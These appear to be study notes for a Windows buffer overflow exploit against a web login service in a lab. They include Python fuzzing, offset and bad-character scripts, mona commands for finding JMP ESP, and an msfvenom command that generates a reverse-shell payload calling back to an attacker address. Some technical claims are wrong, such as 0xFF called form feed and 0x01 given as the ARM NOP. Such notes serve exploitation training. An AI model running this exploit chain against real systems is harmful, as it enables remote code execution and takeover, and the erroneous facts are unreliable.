Module 11 (Widows Buffer OverFlow)

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Module 11 (Widows Buffer OverFlow)

Discovering The Vulnerability

Source Code Review
- (is likely the easiest if it is available)
Reverse engineering techniqes
Fuzzing

We will be covering the following 6 steps in detail for buffer overflow:

Fuzzing
Finding Offset
Finding Bad Characters
Finding Vulnerable Modules
Shellcode generation
Exploitation

Fuzzing

make req using Wireshark

POST /login HTTP/1.1
Host: 192.168.1.5
Connection: keep-alive
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.5
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en
Referer: http://192.168.1.5/login
Accept-Encoding: gzip, deflate
dnt: 1

username=asd&password=1234

i'll try make request using SOCKT

#!/usr/bin/python3
import socket
import time
import sys

c = 100
while c < 2000:
    try:
        print(f"\nSending evil buffer with {c} bytes")
        inputBuffer = "A" * c
        payload = f"username={inputBuffer}&password=A"
        
        req = (
            "POST /login HTTP/1.1\r\n"
            "Host: 192.168.1.5\r\n"
            "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
            "Accept-Language: en-US,en;q=0.5\r\n"
            "Referer: http://192.168.1.5/login\r\n"
            "Connection: close\r\n"
            "Content-Type: application/x-www-form-urlencoded\r\n"
            f"Content-Length: {len(payload)}\r\n"
            "\r\n"
            f"{payload}"
        )

        print(req)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.1.5", 80))
        s.sendall(req.encode())
        response = s.recv(1024)
        print(response.decode())
        s.close()
        c += 100
        time.sleep(5)
    except Exception as e:
        print(f"Fuzzing crashed at {c} bytes")
        print(f"Error: {e}")
        sys.exit()

Fuzzing crashed at 800 bytes

Finding Offset

(msf-pattern_create)

msf-pattern_create -l 800

msf-pattern_offset -l 800 -q  <number of EIP>

#!/usr/bin/python
import socket

inputBuffer ="A"*780+'BBBB'+'C'*(800-780-4)

payload = "username=" + inputBuffer + "&password=A"
req=""
req = "POST /login HTTP/1.1\r\n"
req += "Host: 192.168.1.5\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Referer: http://192.168.1.5/login\r\n"
req += "Connection: close\r\n"
req += "Content-Type: application/x-www-form-urlencoded\r\n"
req += "Content-Length: "+str(len(payload))+"\r\n"
req += "\r\n"
req += payload

print req
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.5", 80))
s.send(req)
print s.recv(1024)
s.close()

add + 800 => inputBuffer ="A"*780+'BBBB'+'C'*(1500-780-4)

C = 2C4 =708

Finding Bad Characters

Bad characters:

00 for NULL
0A for Line Feed n
0D for Carriage Return r
FF for Form Feed f

Badchar form 1 byte to (0xff)

Generate BadChar from 1 to 0xff

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Add badchar in exploit code

#!/usr/bin/python
import socket
badchar = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
"\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d"
"\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c"
"\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b"
"\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69"
"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87"
"\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"
"\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5"
"\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2"
"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

inputBuffer ="A"*780+'BBBB'+badchar+'C'*(1500-len(badchar)-780-4)

payload = "username=" + inputBuffer + "&password=A"
req=""
req = "POST /login HTTP/1.1\r\n"
req += "Host: 192.168.1.5\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Referer: http://192.168.1.5/login\r\n"
req += "Connection: close\r\n"
req += "Content-Type: application/x-www-form-urlencoded\r\n"
req += "Content-Length: "+str(len(payload))+"\r\n"
req += "\r\n"
req += payload

print req
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.5", 80))
s.send(req)
print s.recv(1024)
s.close()

Run exploit with attach The Service

Follow Dump ESP

EX:-

Repeat the same steps

badchar make terminit your Shellcode

"\x00\x0a\x0d\x25\x26\x2b\x3d"

After Remove Badchar

Jmp esp

find the dll with out badchar

!mona find -s "\xff\xe4" -m "libspp.dll"

convert address to Latin indin = 0x10090C83

\x83\x0c\x09\x10

Finding Vulnerable Modules

1) Download Mona tool and copy Mona.py into \Immunity Debugger\PyCommands directory.

2)Now, let's fire up the immunity debugger with our vulnerable application again!

3)Input the following command to the command line in Immunity Debugger:

Command:

!mona modules

It will list all the dll files currently in use and their safety flags.

4)Then we will choose R.dll file, which is used by our vulnerable application and doesn't have any protection.

Finding OP code for JMP ESP

Now we will find the address pushed on the stack when R.dll is called in the application. For that, we have to run the following command:

!mona find -s "\xff\xe4" -m R.dll

Generate payload (x86/shikata_ga_nai )

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.8 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -e x86/shikata_ga_nai -f c
msfvenom -a x86 — platform Windows -p windows/exec cmd=notepad.exe -e x86/alpha_upper -b ‘\x00’ -f c

What is NOP sled characters?

A NOP (No Operation) sled is a sequence of NOP instructions in machine code that does nothing when executed. In a buffer overflow attack, a NOP sled is a filler between the injected malicious payload and the return address the attacker wants to overwrite in the vulnerable program's stack.

The purpose of an NOP sled is to provide a predictable and controllable path for the program's execution to reach the injected malicious payload. When a buffer overflow occurs, the excess data written to the buffer can overwrite adjacent data on the stack, including the return address. The attacker can use an NOP sled to increase the chances that the overwritten return address will point to the start of the NOP sled, leading to the execution of the malicious payload.

Here are some examples of NOP sleds for different architectures:

x86 (32-bit): The x86 architecture uses the 0x90 instruction to represent a NOP. A NOP sled for x86 can be represented as a sequence of 0x90 instructions.

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

x86-64 (64-bit): The x86-64 architecture also uses the 0x90 instruction to represent a NOP. A NOP sled for x86-64 can be represented as a sequence of 0x90 instructions.

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

ARM (32-bit): The ARM architecture uses the 0x01 instruction to represent a NOP. A NOP sled for ARM can be represented as a sequence of 0x01 instructions.

\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01

Reverse shell